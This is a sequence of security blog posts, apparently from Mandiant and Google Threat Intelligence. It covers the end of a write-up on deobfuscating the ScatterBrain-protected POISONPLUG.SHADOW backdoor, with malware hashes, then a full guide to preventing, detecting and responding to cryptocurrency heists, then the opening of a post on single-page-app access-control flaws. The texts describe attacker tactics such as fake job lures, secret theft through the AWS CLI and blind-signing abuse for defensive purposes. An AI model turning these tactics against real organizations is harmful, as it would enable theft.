• Data Flow Relocations: The final loop handles the resolution of all static memory references stored within rfn.relocs_dataflow. First, we establish a list of KNOWN instructions that require data reference relocations. Given the extensive variety of such instructions, this categorization simplifies our approach and ensures a comprehensive understanding of all possible instructions present in the protected binaries. Following this, the logic mirrors that of the import and control flow relocations, systematically processing each relevant instruction to accurately adjust their memory references. 

After reconstructing the code section and establishing the relocation map, we proceeded to adjust each instruction categorized for relocation within the deobfuscated binary. This was the final step in restoring the output binary's full functionality, as it ensures that each instruction accurately references the intended code or data segments.

Observing the Results

To demonstrate our deobfuscation library for ScatterBrain, we conduct a test study showcasing its functionality. For this test study, we select three samples: a POISONPLUG.SHADOW headerless backdoor and two embedded plugins.

We develop a Python script, example_deobfuscator.py, that consumes from our library and implements all of the recovery techniques outlined earlier. Figure 65 and Figure 66 showcase the code within our example deobfuscator:

Figure 65: The first half of the Python code in example_deobfuscator.py

Figure 66: The second half of the Python code in example_deobfuscator.py

Running example_deobfuscator.py we can see the following. Note, it takes a bit given we have to emulate more than 16,000 instruction dispatchers that were found within the headerless backdoor.

Figure 67: The three core loops that address each relocation category

Focusing on the headerless backdoor both for brevity and also because it is the most involved in deobfuscating, we first observe its initial state inside the IDA Pro disassembler before we inspect the output results from our deobfuscator. We can see that it is virtually impenetrable to analysis.

Figure 68: Observing the obfuscated headerless backdoor in IDA Pro

After running our example deobfuscator and producing a brand new deobfuscated binary, we can see the drastic difference in output. All the original control flow has been recovered, all of the protected imports have been restored, and all required relocations have been applied. We also account for the deliberately removed PE header of the headerless backdoor that ScatterBrain removes.

Figure 69: Observing the deobfuscated headerless backdoor in IDA Pro

Given we produce functional binaries as part of the output, the subsequent deobfuscated binary can be either run directly or debugged within your favorite debugger of choice.

Figure 70: Debugging the deobfuscated headerless backdoor in everyone’s favorite debugger

Conclusion

In this blog post, we delved into the sophisticated ScatterBrain obfuscator used by POISONPLUG.SHADOW, an advanced modular backdoor leveraged by specific China-nexus threat actors GTIG has been tracking since 2022. Our exploration of ScatterBrain highlighted the intricate challenges it poses for defenders. By systematically outlining and addressing each protection mechanism, we demonstrated the significant effort required to create an effective deobfuscation solution.

Ultimately, we hope that our work provides valuable insights and practical tools for analysts and cybersecurity professionals. Our dedication to advancing methodologies and fostering collaborative innovation ensures that we remain at the forefront of combating sophisticated threats like POISONPLUG.SHADOW. Through this exhaustive examination and the introduction of our deobfuscator, we contribute to the ongoing efforts to mitigate the risks posed by highly obfuscated malware, reinforcing the resilience of cybersecurity defenses against evolving adversarial tactics.

Indicators of Compromise

A Google Threat Intelligence Collection featuring indicators of compromise (IOCs) related to the activity described in this post is now available.

Host-Based IOCs

MD5

Associated Malware Family

5C62CDF97B2CAA60448619E36A5EB0B6

POISONPLUG.SHADOW

0009F4B9972660EEB23FF3A9DCCD8D86

POISONPLUG.SHADOW

EB42EF53761B118EFBC75C4D70906FE4

POISONPLUG.SHADOW

4BF608E852CB279E61136A895A6912A9

POISONPLUG.SHADOW

1F1361A67CE4396C3B9DBC198207EF52

POISONPLUG.SHADOW

79313BE39679F84F4FCB151A3394B8B3

POISONPLUG.SHADOW

704FB67DFFE4D1DCE8F22E56096893BE

POISONPLUG.SHADOW

Acknowledgements

Special thanks to Conor Quigley and Luke Jenkins from the Google Threat Intelligence Group for their contributions to both Mandiant and Google’s efforts in understanding and combating the POISONPLUG threat. We also appreciate the ongoing support and dedication of the teams at Google, whose combined efforts have been crucial in enhancing our cybersecurity defenses against sophisticated adversaries.

Written by: Joshua Goddard

The Rise of Crypto Heists and the Challenges in Preventing Them

Cryptocurrency crime encompasses a wide range of illegal activities, from theft and hacking to fraud, money laundering, and even terrorist financing, all exploiting the unique characteristics of digital currencies. Cryptocurrency heists, specifically, refer to the large-scale theft of cryptocurrencies or digital assets through unauthorized access, exploitation, or deception.

Cryptocurrency heists are on the rise due to the lucrative nature of their rewards, the challenges associated with attribution to malicious actors, and the opportunities presented by nascent familiarity with cryptocurrency and Web3 technologies among many organizations. Cofense highlighted that phishing activity targeting Web3 platforms increased by 482% in 2022, Chainalysis reported that $24.2 billion USD was received by illicit addresses in 2023, and Immunefi reported that in Q2 2024, compromises of Web3 organizations resulted in losses of approximately $572 million USD.

When threat actors gain access to cryptocurrency organizations, the potential for rapid, high-value financial losses due to unauthorized access is significantly elevated. A single malicious command executed on a vulnerable system can lead to the theft of millions of dollars worth of assets. This starkly contrasts with traditional organizations, where achieving financial gain or extracting value from stolen data often requires prolonged social engineering campaigns, all while facing the risk of detection and apprehension by law enforcement or financial institutions. The prospect of swift and substantial financial gains presents a compelling motivation for threat actors to target cryptocurrency organizations.

Cryptocurrency organizations are those whose core operations revolve around the use, management, or exchange of digital currencies, including:

• Cryptocurrency exchanges that facilitate the buying and selling of cryptocurrencies

• Financial institutions or payment gateway platforms that provide on or off ramp buying and selling of cryptocurrencies

• Financial institutions that hold cryptocurrency assets as investment products for their customers

• DeFi protocol providers that provide financial solutions for interacting with cryptocurrency assets

• Web3 game creators that use blockchains for their in-game economics

• Providers of hardware or software cryptocurrency wallets, wallet custodians, and wallet smart contract providers, which facilitate storage solutions for cryptocurrency assets 

• Cryptocurrency mining organizations, which validate transactions to generate new cryptocurrency tokens

The threats posed to these organizations are significant. Mandiant has observed cryptocurrency organizations employing heightened security controls driven by pressures from widespread reporting of impactful heists, however, many still remain unprepared for the threats they face. 

Across its Incident Response engagements conducted at cryptocurrency organizations, Mandiant has observed common challenges relatively unique to these types of organizations. Mandiant has observed that these challenges introduce significant technical security debt, complexity, and widened attack surfaces, which make preventing, detecting, and responding to intrusions increasingly challenging.

• Hyperfocus on wallet infrastructure: Many organizations focus on the security of wallet infrastructure but fall short on fundamental enterprise security practices.

• Rapid development lifecycles: Cryptocurrency organizations, especially startups, often need to develop platforms fast, driven by aggressive market competition and investor pressure.

• Unmanaged workforces: Given the demand for cryptocurrency platform developers, many organizations employ contractors or freelancers, who work for multiple organizations at the same time from their own devices. These devices are generally not monitored or policy-enforced by the organizations the user works for, and compromise of one of these devices may lead to intrusions at multiple organizations.

• Unmanaged or disparate infrastructure: Given how rapidly many organizations have grown, infrastructure can be relatively chaotic, with disparate systems across multiple environments or cloud providers, with ad-hoc inventory or change management practices.

Mandiant has observed similarities in how threat actors were able to compromise and steal cryptocurrencies from intrusions it has investigated. In Securing Cryptocurrency Organizations, Mandiant has collated recommendations and insight from its frontline work, designed to specifically assist organizations whose core business involves interacting with cryptocurrencies. The recommendations provide an overview of security controls that cryptocurrency organizations should implement to prevent intrusions, detect them earlier in the Attack Lifecycle, and respond to them more effectively. While these recommendations are based on specific security failings observed in intrusions Mandiant has investigated, alternative frameworks outlining wider security controls for Cryptocurrency Organizations are available within the industry. Notably, the Security Frameworks by Security Alliance (SEAL) provides an excellent overview of key controls to consider when approaching security in a range of cryptocurrency organizations.

Prevention Securing Cryptocurrency and IT Infrastructure to Prevent Compromise Cryptocurrency Infrastructure and Wallet Management

Cryptocurrency infrastructure is the network of systems, protocols, and technologies that facilitate the creation, storage, transfer, and management of digital assets. At the core of this infrastructure are cryptocurrency wallets, which serve as containers for storing and managing cryptographic keys that provide ownership and control over cryptocurrencies. The highest priority for every cryptocurrency organization is the security of this infrastructure, since compromise of these keys can lead to significant financial loss.

Standards for Crypto Infrastructure

Traditional cryptographic security controls are commonplace in most organizations' security strategy. Many of the same controls and use cases can be applied to the protection of cryptocurrency keys and wallets.

The CryptoCurrency Security Standard (CCSS) from the CryptoCurrency Certification Consortium (C4) is a widely accepted standard for the technical security of systems that store or interact with cryptocurrencies. While not formally required by any financial regulator in any market, the controls it introduces are a strong starting point for organizations looking to secure their cryptocurrency infrastructure, specifically, and complement other local and international IT security standards. Mandiant recommends that organizations maintaining cryptocurrency infrastructure should adhere to these standards, both on custom implementations and with third-party solutions.

Custodian Solutions

Many cryptocurrency organizations choose to use commercial cryptocurrency custodian solutions to manage their wallet infrastructure. These solutions offer several advantages, especially for green-field or start-up organizations that may lack the skills, budget, or requirements to build or commission custom systems. The primary advantages of custodian solutions include simplified authentication and permissions management, streamlined logging and monitoring, and the provision of API access for easy integration with other systems.

Commercial custodian platforms can introduce new risks over custom-built solutions, especially when those platforms are not self-hosted. These include the potential compromise of the custodian platform itself, vulnerabilities in platform dependencies or content delivery networks (CDNs), and reliance on internal vendor security testing and monitoring for closed-source commercial platforms. Organizations should implement and validate strict controls around any custodian solution.

• Perform internal security testing: When using self-hosted solutions, organizations should conduct internal security testing for every new implementation or significant change. This may be performed internally or by using multiple third-party vendors. This helps identify misconfigurations and vulnerabilities and provides extra assurance above and beyond the testing performed by the custodian vendor.

• Implement strict access controls: Implement strict authentication and access controls, including principles of least privilege and multifactor authentication. Any account with permission to withdraw cryptocurrency assets or make platform or wallet policy changes should be considered a highly privileged account.

• Implement strict scopes: Implement limits on spending and access at user, wallet, and API key levels. Implement transaction allow lists for destination send addresses and regularly audit the scopes.

• Manage credentials: Protect API keys and credentials by using just-in-time keys, avoiding local storage, and allowing developer access to only developer custodian instances or environments. Integrate the credentials for custodian solutions into privileged access and identity management solutions to enhance auditing and management of credentials.

• Secure access: When using on-premises or cloud-hosted custodian web platforms, ensure that users visit the platform using saved bookmarks, and always verify the website they are visiting is legitimate before transacting.

• Limit transaction types: When managing or interacting with smart contracts through a custodian platform, the platform should support limiting which functions can be called. This would typically include only allowing token transfers instead of risky operations like smart contract updates. The exact functions callable by the custodian will depend on the smart contract deployed.

• Configure multi-signature (multi-sig) requirements: If the platform is managing multi-sig smart wallets, ensure that it is one of the required signatures and it only provides that signature if the transaction meets all of the configured criteria, including destination addresses and called functions. The custodian must have context around the exact functions being called on any smart contract to configure these criteria.

Smart Contracts and Multi-Sig Wallets

Organizations should employ smart contracts for cold wallets that necessitate multiple hardware signatures to authorize significant send transactions. While the specific capabilities of these contracts can vary across blockchains, Mandiant recommends that organizations should consider several key controls.

• Use audited contract code: For multi-sig wallets, opt for open-source, publicly audited contract code without any modifications. Where custom contracts are required, their code should be audited and tested by experts familiar with the blockchain and coding language used.
• Configure signature requirements: Enforce a minimum requirement of at least four signatures to authorize any send transaction. These signatures should originate from clear-signing capable hardware wallet devices of multiple vendors assigned to and in the possession of different trusted employees at the organization. A strict process around signing transactions should be implemented (see Management and Protection of Cold Wallets and Their Transactions). Additionally, ensure the passphrases or recovery seeds for these devices are stored in secure geographically dispersed locations to mitigate the risk of a single point of failure or physical compromise.
• Secure private keys and contract upgrades: As with standard wallets, private keys for smart contracts that allow the upgrading of contract code or implementation contracts should be secured on cold devices. Multiple keys or signatures should be configured for any contract upgrade.
• Distribute assets across multiple wallets: Distribute assets across multiple multi-sig wallets with multiple cold signing wallets to a level where loss of assets from one multi-sig wallet would not be significant.
• Enforce a strict multi-sig signing process: Implement and enforce a multi-sig signing process that requires signers to be in geographically dispersed locations with different internet connections, and enforce the use of signing systems only for any multi-sig transaction. Signing systems should be audited to confirm they meet a minimum set of security requirements prior to being used for signing. Signers must also verify the transaction hashes for any signed transaction, on-device if using cold wallets, and verify raw transaction data in a third-party system prior to signing.
• Scrutinize transactions where signing errors occur: Wherever signing on a multi-sig transaction fails, implement a process to scrutinize the transaction and communicate the concern to all signers to prevent further signing activity. In cases of multi-sig compromise, Mandiant has frequently observed victims reporting multiple errors in the signing process before malicious transactions are successfully approved.

Case Study: Abusing Smart Contracts

The March 2023 Euler Finance exploit, resulting in a $200 million USD loss, exposed the dangers of flash loan manipulation within DeFi protocols.  Attackers exploited vulnerabilities in Euler's code to manipulate the protocol's lending and collateralization mechanisms, allowing them to obtain and drain massive amounts of cryptocurrency through a series of flash loans. This incident highlighted the need for secure coding practices and thorough testing, especially when dealing with complex financial instruments like flash loans. It highlighted the importance of anticipating and mitigating potential attack vectors, including those that exploit the unique characteristics of DeFi protocols and smart contracts.

Management and Protection of Cold Wallets and Their Transactions

The standard practice for cryptocurrency organizations is to store most of their assets in multi-sig smart wallets that require cold wallets for signing send transactions. Hot wallets are topped up from these multi-sig wallets as needed when they are near depletion. Since the majority of cryptocurrency organizations’ assets are stored on these cold wallets, their security is important.

Cold Wallet Security

Cold wallets may hold private keys for cryptocurrency wallets directly or may be used for signing transactions in a multi-sig smart wallet setup. Security of these wallets is therefore critical in preventing unauthorized transactions or contract upgrades.

• Use cold wallet devices from multiple vendors: Use cold signing wallet devices from multiple vendors to mitigate risks associated with vulnerabilities in specific vendor platforms or hardware.
• Use cold wallet devices that support clear signing: Ensure all signing devices support clear signing of transactions, allowing signers to accurately match the transaction hash and payload to the intended transaction. Blind signing introduces significant risks of transaction data interception between IT systems and the signing device.
• Store passphrases and recovery codes securely offline: Ensure that hard copies of passphrases or backup codes for wallets are stored securely. In multi-sig wallets, these should be stored in separate secure geographical locations.

Dedicated Signing Systems

Mandiant recommends using dedicated, hardened signing systems for transfer or contract update transactions on multi-sig smart wallets.

• Enforce dedicated use: The signing systems should be solely used for signing transactions and no other business activities.
• Apply security updates frequently: The signing systems and any wallet software must be kept up-to-date with security patches. Patches should be applied much more frequently than for other systems. Verified updates should be checked and applied before signing as part of the signing process.
• Use separate internet connections: The signing systems should connect to the internet from separate internet lines (mobile hotspots or locations), not through corporate exit nodes.
• Limit execution of applications: The signing systems should have extremely strict controls around program execution. Typically, only a managed web browser, security software, hardware wallet software, and update software should be allowed.
• Limit network traffic: Network traffic should only be allowed to specified destination addresses in line with the individual signing process, such as any cryptocurrency custodian platforms and their dependent systems or only to self-managed infrastructure. Updates may be fetched from internal staging servers or introduced through removable media after verification.
• Verify applications: Signers should use the latest verified version of official hardware vendor software. This should generally be used in place of web USB solutions to mitigate the risk of compromise of third-party libraries, CDNs, or the platforms themselves.

Case Study: Risks of Blind Signing

In one case Mandiant investigated, a cryptocurrency exchange inadvertently signed a malicious transaction due to their hardware wallet devices not supporting clear-signing. The signers had no way to verify the transaction, which led to significant financial loss.

General Infrastructure Security

Cryptocurrency organizations, like any other technology-dependent organization, should adhere to best practices in enterprise security. Organizations in this industry, as in the wider financial services industry, are expected to have a higher level of capability or maturity than other industries due to the specific risks and targeting they face.

• Manage third-party technologies: The security of technologies and dependencies of custodian and web platforms are of particular importance. The security of the upstream suppliers of these technologies has a direct impact on the security of the organization using them. It is critical for cryptocurrency organizations to effectively manage, monitor, and enforce security within their supply chain. Where third-party technologies are implemented, regular audits of their security should be conducted to verify the integrity of any subsystems (scripts, libraries) against known-good distributions. For web services, the content hosted on third-party servers or provided through content delivery networks should also be regularly audited.
• Manage vulnerabilities: Regularly perform vulnerability scans against deployed technologies to ensure public vulnerabilities are identified, prioritized, and mitigated effectively. Implementing a bug bounty program that rewards reporters is also advisable.
• Manage misconfigurations: Implement an Attack Surface Management solution to continually audit the configuration of external infrastructure, and compare the results to change management records.
• Validate security controls: Implement a continuous security validation program to verify the effectiveness of prevention and detection controls as infrastructure changes.
• Manage identities and access: Implement hardware-token multifactor authentication and manage permissions and identities across all production and development environments.
• Manage remote access: Where remote access to environments is required, ensure that authentication is hardened and access is restricted to only managed and hardened devices through host integrity checking and device certificate-based authentication.
• Provide employee awareness training: All employees of cryptocurrency organizations should be aware of the significant security threats their organization faces. Signers and developers should have an even greater understanding. Regular training or communications on the threats and how to manage them should be conducted, especially related to common tactics attackers use to compromise victims, including unsolicited job offers or freelance development work.
• Conduct regular targeted threat hunting activities: Threat hunting can identify evidence of compromise that has been missed by existing detection capability, identify gaps in visibility, and assist in the development of new use cases for detection engineering. Mandiant generally recommends engaging a third party for such activities to bring new hunting hypotheses and intelligence to those already proposed by internal security teams.

Secrets Management

Effective and secure management of secrets within cryptocurrency organizations is critical, even more so than for organizations in other industries. The theft of secrets used to secure wallets in particular, directly or indirectly, can lead to immediate and significant financial loss.

• Rotate secrets: Rotate secrets related to critical wallets and wallet infrastructure on a frequent basis, ideally monthly. This reduction of lifespan in secrets limits the potential impact of an attacker gaining access to them. Frequent secret rotation can introduce its own set of challenges, including the secure distribution and communication of new secrets across systems and personnel. Implementing a robust privileged access management (PAM) or secrets management system can make this easier. A PAM solution can streamline and secure the process of secret rotation, reducing the risk of exposure or compromise.
• Manage secret storage: Organizations should consider implementing an enterprise password or secrets storage and management solution with enhanced monitoring and regular auditing. Privileged secrets should never be stored locally on user systems. Regular auditing of systems used by privileged users, such as developers or signers, should be performed to identify any improperly stored secrets.

Securing Developer Workstations

Developers and their workstations are particularly attractive targets for cyberattacks, especially when they interact with cryptocurrency infrastructure. Mandiant has frequently observed initial access in cryptocurrency organization intrusions being through developer workstations. 

• Restrict direct access: Minimize or eliminate direct access to production cryptocurrency infrastructure from developer workstations. Instead, implement secure deployment pipelines and staging environments for testing and code integration.
• Manage secrets: Employ robust secret management solutions to protect sensitive keys and credentials. Avoid storing secrets directly on developer workstations or within code repositories.
• Enforce principles of least privilege: Enforce the principle of least privilege, granting developers only the minimum necessary access required to perform their tasks.
• Regularly conduct security audits: Conduct regular security audits of developer workstations and their access privileges to identify and address potential vulnerabilities.
• Conduct security awareness training: Provide comprehensive security awareness training to developers, emphasizing the importance of protecting sensitive information and recognizing potential threats.
• Enforce and manage security software: Endpoint detection and response tooling complements built-in security mechanisms and anti-virus to alert on threats quicker. Detections should be engineered for any anomalous or unauthorized behavior consistent with the end user's job role.

Case Studies: Targeting Developers and Their Workstations

Direct access to production cryptocurrency infrastructure from developer workstations is especially risky. Mandiant has observed threat actors leveraging footholds on developer systems to interact with such infrastructure:

• Targeted phishing via fake job opportunities: State-sponsored threat actors leveraged fake job postings on LinkedIn to deliver malware to developers and their highly privileged systems, leading to privileged access to cryptocurrency infrastructure.
• AWS CLI abuse: Attackers have used the AWS CLI to interact with and extract secrets from wallet infrastructure hosted in Elastic Kubernetes Service (EKS).
• API key compromise: In some cases, attackers leveraged their foothold to make API requests to the cryptocurrency custodian platform using keys stored within scripts and API testing applications.

Protecting Customers

The security of a cryptocurrency platform's customers is an important part of a comprehensive security strategy. In any business-to-consumer organization, some level of customer account compromise is inevitable. However, cryptocurrency platforms can implement targeted controls to limit the chance of success and level of impact for such breaches.

• Enforce multifactor authentication for all users: Enforce strong multifactor authentication, avoiding SMS-based tokens due to their vulnerability to SIM swapping attacks. Consider offering hardware-based tokens or app-based authenticators for enhanced security.
• Provide users with tools to manage their own security: Empower users with greater control over their security by providing features like hardware multifactor authentication support, session management (including termination), login notifications, and login history visibility. This not only fosters user confidence, but also reduces the burden on the organization when investigating individual account compromises.
• Enforce withdrawal controls: Implement withdrawal limits, delays, or cool-down periods for large transactions, coupled with secondary verification or notifications. These measures can significantly restrict the amount of assets an attacker can transfer if an account is compromised.
• Back all assets 1-to-1: Organizations holding user assets should maintain their full value in cold storage completely segregated from the core infrastructure. This ensures that in the event of a significant cryptocurrency theft caused by the organization, users can be reimbursed. Many financial regulators already mandate this practice for cryptocurrency exchanges.
• Provide user awareness communications: It is the responsibility of all cryptocurrency organizations to educate their user base about threats to their assets. Regular communication and awareness campaigns can empower users to protect themselves and recognize potential threats before security incidents occur.

Detection Maintaining Visibility and Engineering Detections to Catch Attackers Early

Most organizations can benefit from security monitoring. By monitoring activity across host, network, and application data sources, organizations can leverage threat intelligence and identify suspicious activities related to generic IT behavior and cryptocurrency transactions, wallet interactions, and privileged access. Effective security monitoring allows organizations to detect and respond to threats earlier in the Attack Lifecycle and ultimately limit their impact.

Monitoring User Transactions and Activity

For cryptocurrency exchanges in particular, monitoring transactions among its user base can provide insight into fraudulent activities in the early stages of a heist. Transaction monitoring should be implemented from logs generated by the cryptocurrency applications or the custodian platforms if they are used. From these log sources, detections should be engineered relative to normal business processes and customer activity.

• High-volume or -velocity transactions: Sudden surges or unusually high frequencies of withdrawals might indicate individual user accounts have been compromised or that an attacker is attempting to trigger hot wallet replenishment from cold storage. If user account compromise is suspected, organizations should investigate commonalities among affected users, particularly their platform access points, to implement targeted blocks, heightened monitoring, and trigger account credential resets. If potential attacker-induced top-up activity is detected, organizations should exercise extreme caution before initiating any replenishment procedures from cold wallets.
• Unusual transaction patterns: Deposits and withdrawals involving unusual or unexpected wallets should be flagged and scrutinized. A wallet might be defined as unusual if it is linked to previous malicious behavior internally or from threat intelligence sources. Transaction behavior may also be monitored, such as typical times of day for each user and normalized frequencies of transactions. Advanced user behavior profiles may be built around this data and engineered into detections, such as identifying which users rarely make withdrawals and which users trade frequently. These detections should be integrated with transaction delay or cool-down controls.
• Anomalous behavior: Detect deviations from typical user behavior, such as login attempts from unusual IP addresses or geolocations. Wherever possible, platform application security logs should be linked with transaction logs to provide context into user cryptocurrency activity.

Monitoring Internal User and Wallet Interaction

Monitoring internal user activity within a cryptocurrency organization is arguably more important than monitoring customer activity. Effective internal monitoring can identify compromised internal accounts and secrets early on and significantly reduce the impact of a compromise.

• Secrets usage: Monitor and audit the use of API keys and other credentials when interacting with internal systems, particularly custodian platforms and wallet infrastructure. Use context from secrets management platforms or records to identify suspicious activities, such as unusual source systems, failed access attempts, or unusual API calls (especially those that might indicate reconnaissance, for example, checking policies within custodian solutions).
• User activity: Monitor the specific actions performed with each request against wallet infrastructure systems. This includes monitoring the creation, modification, updating, or deletion of information or configurations. Attackers typically conduct internal reconnaissance before executing a heist. This involves actions like listing wallets, retrieving balances, or checking configured limits and allow lists through custodian platforms. Monitoring these activities provides valuable opportunities for early detection.
• Access to knowledge and code repositories: Implement detections for unusual access to knowledge bases and code repositories., for example, high-velocity or high-volume requests, which might indicate bulk downloading, or searches for keywords such as "passwords", "keys", or "infrastructure." Mandiant has frequently observed threat actors performing internal reconnaissance through knowledge and code repositories prior to performing a heist.

Heightened Monitoring on Developer and Signing Systems

No matter how many security controls are implemented on developer and signing systems, there is still a chance they can be compromised. For this reason, heightened monitoring should be configured on these and other sensitive systems, including any that interact with wallet infrastructure.

• Monitor host-based activity: Monitor process creation and software installations to promptly detect any compromise and verify the effectiveness of preventative security controls. For signing systems, deploy detections to alert on any software not associated with approved hardware wallet vendors or managed web browsers.
• Monitor network activity: Engineer network detections tailored to the permitted use cases of each system. On signing systems, implement strict alerts for any network calls to destinations beyond those necessary for software updates and transaction signing, even if these should be blocked at the network level.
• Perform threat hunting: Conduct regular threat hunting and auditing on developer and signing systems to ensure secrets are not stored on disk and that security controls remain effective.

Response Taking Action to Thoroughly Investigate and Remediate Compromise

When compromise is detected in a cryptocurrency organization, it is essential to tactically harden the environment, investigate to identify root cause, and perform remediation swiftly once the attack path is understood.

Tactical Hardening and Positioning

When compromise is identified within any part of a cryptocurrency organization, time is of the essence to harden the environment as much as possible and configure security technologies to give organizations the best chance of thoroughly investigating, effectively remediating, and securing the environment going forward.

• Enhance logging: If the attacker is still active within the environment, immediately increase logging verbosity for critical areas such as secret use against custodian platforms, wallet infrastructure, and identity providers. This enhanced visibility helps understand attacker actions and enables real-time tactical responses.
• Isolate wallet infrastructure: At the first sign of access or malicious attempted access to wallet infrastructure, including hot wallets or secrets, temporarily isolate the affected systems or custodian platforms. This containment measure prevents further attacker access and potential asset loss. Such actions should be linked to agreed processes for customer or stakeholder communication, if necessary.
• Implement restrictions on withdrawals: Where an attacker may be active or have opportunities to complete their mission, implement cool-down periods or other restrictions on withdrawals. This should include limiting withdrawals to new addresses or introducing limits on the volume or velocity of withdrawals.
• Rotate wallet keys: If there are any suspicions that the attacker possesses wallet keys or passphrases, rotate them immediately or transfer funds to a new, secure wallet as quickly as possible. For multi-sig wallets, rotate all signers to invalidate any compromised keys, and issue new hardware devices if necessary.
• Isolate compromised systems: Immediately disconnect any systems exhibiting signs of malware or attacker access, especially those involved in signing transactions or interacting with wallet infrastructure services. Preserve these systems for forensic investigation.
• Carefully plan remediation: Generally, avoid widespread remediation actions like enterprise-wide password resets during the initial response phase. Without a complete understanding of the attacker's access, such actions could alert them, prompting them to accelerate their malicious activities and target accessible wallets. While caution is advised against widespread remediation actions during the initial response phase of a typical compromise, the unique nature of cryptocurrency heists demands a more nuanced approach. Unlike other breaches where organizations might be able to monitor attacker activity, the theft of a single file or key in a cryptocurrency environment can lead to significant financial loss, so a different approach may be needed. 
• Engage incident responders: Organizations should engage an incident response service provider immediately to begin scoping and investigating the intrusion and advising on the best tactical options to take at each phase of the investigation.

Investigating

Investigation of compromises within cryptocurrency organizations varies significantly between intrusion types, initial information identified from detection, and infrastructure architecture. However, in the majority of cases Mandiant has investigated, similar tactics were observed, which can provide a starting point for investigators.

• Malware on developer or signing systems: Analyze systems that interact with wallet or custodian infrastructure for signs of malware, including developer and signing systems. Given their prevalence in cryptocurrency organizations, macOS systems are particularly attractive targets for cryptocurrency threat actors. Both built-in and third-party security mechanism logs and artifacts should be carefully reviewed.
• Initial access by phishing: Investigate opportunities threat actors may have had to introduce malware or steal credentials in the environment. Mandiant frequently observes threat actors targeting developers with deceptive job offers containing malicious coding or debugging challenges, most frequently delivered via Slack, Telegram, or LinkedIn.
• Malicious webpages: Analyze web history on hosts and the network perimeter to uncover any visits to malicious websites, especially by signers in the case of a multi-sig heist. Be vigilant for websites mimicking custodian platforms or wallet management applications that trick users into connecting hardware wallets and inadvertently signing malicious transactions.
• Malicious transaction requests: Review available logs that may have recorded interactions with wallet infrastructure, especially send transactions. These are typically available within the custodian platform, if deployed, or in API gateways.

On-Chain Analysis

Investigation can also be performed on the blockchain and can provide valuable information for attribution of a threat actor and opportunities for recovery of funds. 

• Follow the money: Trace the movement of funds through the blockchain to identify the origin, destination, and intermediaries involved in transactions relating to stolen funds.
• Identify key entities: Analyze transaction patterns and metadata to uncover addresses and entities associated with the movement of funds.
• Use blockchain explorers: Leverage blockchain explorers to gather information on addresses, transactions, and associated metadata.
• Cluster analysis: Group addresses controlled by the same entity based on transaction patterns and behaviors.
• Consult with experts: Engage with blockchain analytics experts or law enforcement agencies for advanced tracing and identification techniques.
• On-chain adversary tactics, techniques, and procedures (TTPs): TTPs also apply post-intrusion, where an adversary has developed their own methodology to obscure the money flow and launder the funds, for example, using specific tokens such as Monero (XMR), which is a cryptocurrency and blockchain with enhanced privacy features, or using obfuscation protocols such as mixers like Tornado Cash.

Remediating and Moving Forward

Effective remediation after a thorough investigation is important in order to secure the infrastructure going forward. The precise steps an organization takes will depend on the specific architecture and the attacker's tactics, but several key actions are generally recommended by Mandiant.

• Rotate all secrets: As in tactical hardening, reset all wallet secrets or move funds to newly created, secure wallets. Implement enterprise-wide password resets, revoke compromised certificates, and reset API keys for custodian platforms and any access points to wallet infrastructure.
• Remove footholds: Identify and eliminate any access points the attacker may still have in the environment. If malware was deployed, rebuild affected systems from known-good configurations to ensure a clean environment.
• Implement system hardening: Apply all preventive measures detailed in Prevention to enhance the overall security posture and make the environment more resistant to future attacks.
• Implement enhanced security monitoring: Implement enhanced security monitoring tailored to the specific indicators of compromise and attacker methodologies identified during the investigation. This will provide a way to verify that remedial actions have been effective.
• Plan for effective remediation: Organizations must strategically time their remedial actions, ensuring they align with the investigation's findings. Action should be initiated when sufficient knowledge about the attacker and their activities is gained and sufficient monitoring is in place to ensure the effectiveness of these actions and provide timely alerts if any gaps remain.

Conclusion

Cryptocurrency organizations operate in a challenging threat landscape where the risk of immediate and substantial financial loss is high. The convergence of high-value digital assets, complex and rapidly evolving technologies, and the pressures of a rapidly evolving market, creates an environment where organizations should expect to be targeted. The recommendations in Securing Cryptocurrency Organizations provide a starting point for bolstering defenses, however security is not a point-in-time achievement, and organizations should aim for continuous improvement.

Mandiant’s recommendations highlight the importance of a multi-faceted enterprise security approach for every size of cryptocurrency organization. This includes the secure management of wallet infrastructure, robust access controls, and securing systems which interact with infrastructure, such as developer and signing workstations. Mandiant has also emphasized the importance of proactive threat detection to identify malicious activity earlier within wallet infrastructure, wider platform infrastructure, and on employee workstations. Finally, organizations should be prepared to respond to an intrusion with suitable data available to support an investigation, and appropriate containment and hardening controls to limit the impact.

The task of securing a cryptocurrency organization is complex. By embracing a culture of proactive security, continuous improvement, and implementing the recommendations in Securing Cryptocurrency Organizations as a baseline, Mandiant hopes that the number of successful intrusions decreases across the industry.

Call to Action for Security Leaders

Security leaders in cryptocurrency organizations should take these steps to make the most of Securing Cryptocurrency Organizations:

• Conduct a comprehensive security assessment which benchmarks your current security posture against industry best practices and the recommendations provided in Securing Cryptocurrency Organizations. Identify gaps in your controls and prioritize remediation efforts through risk analysis.

• Develop and implement a security roadmap based on the assessment. Focus on technical and strategic improvements with clear timelines and resource allocations across prevention, detection, and response capabilities.

• Strive to be the most trusted organization within your industry by fostering a security-conscious culture. Empower your organization to see security as a shared responsibility supported by your investment.

The future of cryptocurrency organizations depends on the security and trust within them. By proactively addressing the challenges and implementing effective security controls, cryptocurrency organizations can safeguard their assets, protect their customers, and contribute to a more secure and resilient industry.

Mandiant provides cryptocurrency organizations with a range of services including security assessments, compromise assessments, threat hunts, security monitoring, threat intelligence, and incident response. To learn more about our experience and how we can help, get in touch.

Acknowledgement

Special thanks to the reviewers: Adrian Hernandez, Robert Wallace, Joseph Dobson, Mohamed El-Banna, and Jigisha Patel.

Written by: Steven Karschnia, Truman Brown, Jacob Paullus, Daniel McNamara

Executive Summary

• Due to their client-side nature, single-page applications (SPAs) will typically have multiple access control vulnerabilities

• By implementing a robust access control policy on supporting APIs, the risks associated with client-side rendering can be largely mitigated

• Using server-side rendering within the SPA can prevent unauthorized users from modifying or even viewing pages and data that they are not authorized to see

Introduction

Single-page applications (SPAs) are popular due to their dynamic and user-friendly interfaces, but they can also introduce security risks. The client-side rendering frequently implemented in SPAs can make them vulnerable to unauthorized access and data manipulation. This blog post will explore the vulnerabilities inherent in SPAs, including routing manipulation, hidden element exposure, and JavaScript debugging, as well as provide recommendations on how to mitigate these risks.

Single-Page Applications

